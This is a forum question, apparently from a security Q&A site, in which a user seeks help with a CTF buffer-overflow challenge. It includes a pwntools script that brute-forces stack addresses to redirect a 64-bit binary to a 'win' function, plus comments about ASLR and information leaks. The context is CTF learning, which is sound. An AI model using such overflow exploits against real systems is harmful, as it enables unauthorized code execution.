2

I am trying to upsolve a challenge from a CTF I played but I just can't get it right. I think you have to somehow manage to use buffer overflow, but I can't see what I'm doing wrong since this works in gdb, I think it is because ASLR is enabled for the binary. I will leave a link here with the binary so you can look for yourself: here

So I'll try to explain my observations and what I tried:

We can see that the program takes in 2 inputs, does some calculations and spits up a number for you. But we can also see that the second input can be overflow since the first input is being fed into the strtoul function. Well then let's do it! However this being a 64bit executable we have to put the address on the stack and after the leave instruction we have to have our address on top of the stack so the ret instruction will use it. I found an address which worked in gdb and I called the so-called win function, you can see in the symbols of the binary. But this only worked in gdb. So there must be another addres for the beginning of the buffer so I tried to brute-force it. And I made this script in python using pwntools:

#!/usr/bin/python

from pwn import *
import struct

exec_path = './run.sh'

offset = 136

addr_win = 0x400687


addr_on_stack = 0x7fffffffeae8

for buffer_address in range(addr_on_stack - 1024, addr_on_stack + 1024, 8):
    io = process(exec_path)
    payload = struct.pack("Q", addr_win) + 'A' * 120 + struct.pack("Q", buffer_address)
    log.info("Trying addess 0x{:0x} as buffer address".format(buffer_address))

    log.info("payload is {}".format("".join("\\x{:02x}".format(ord(b)) for b in payload)))
    io.sendline('1')
    io.sendline(payload)
    io.recvuntil("Now give me the prime directive: ")
    with open("pay", "wb") as f:
        f.write(payload)

    msg = io.recvall(timeout=3)
    print msg
    if "your answer is" in msg or "Segmentation fault" in msg or "relocation error" in msg or "Inconsistency detected " in msg:
        io.wait()
        io.close()
        io.kill()
        continue
    else:
          break
io.interactive()

However after running this I still can't get it to call the function I want. I also tried to just change the last byte of the buffer start address but I can only overwrite it with \x00 because no matter how large the input, fgets will still put the null-byte at the end of the read string. Any ideas of how should I actually approach it?

I'm not sure if this is the correct site to post this, but I can't see anything on stackexchange where I should post questions like this and I'm really running out of ideas and want to learn more!

Anders
  • 64,406
  • 24
  • 178
  • 215
C. Cristi
  • 121
  • 2
  • If ASLR is part of the challenge (you can easily disable it yourself if it's just local), there ought to be an information leak somewhere that you can exploit to get a base address from which to call the offset to your desired function. What other exploitation mitigation techniques are active? Also, can you make the question self contained, such that it'll be understandable without downloading the binary? – Tobi Nary Jul 04 '19 at 11:30
  • I want to exploit it remotely, so disabling aslr on my local system is redundant. Well It's pretty clear from the question but if I didn't explained it well enough in the question you CAN download the binary, that was something you could do, not something you have to do.. – C. Cristi Jul 05 '19 at 08:18
  • @TobiNary It's clear that I can't explain it well enough since i'm a noob so that's why i put the binary, so you could give your opinion about it too. – C. Cristi Jul 05 '19 at 08:19
  • The problem is that an external link makes your question no longer self-contained; when the link goes dead, it‘s useless. Also, no one should be forced to download a binary to answer a question. – Tobi Nary Jul 05 '19 at 08:35
  • @TobiNary as I told you, no one is forced, I think it's a pretty well addressed question – C. Cristi Jul 05 '19 at 08:41

0 Answers0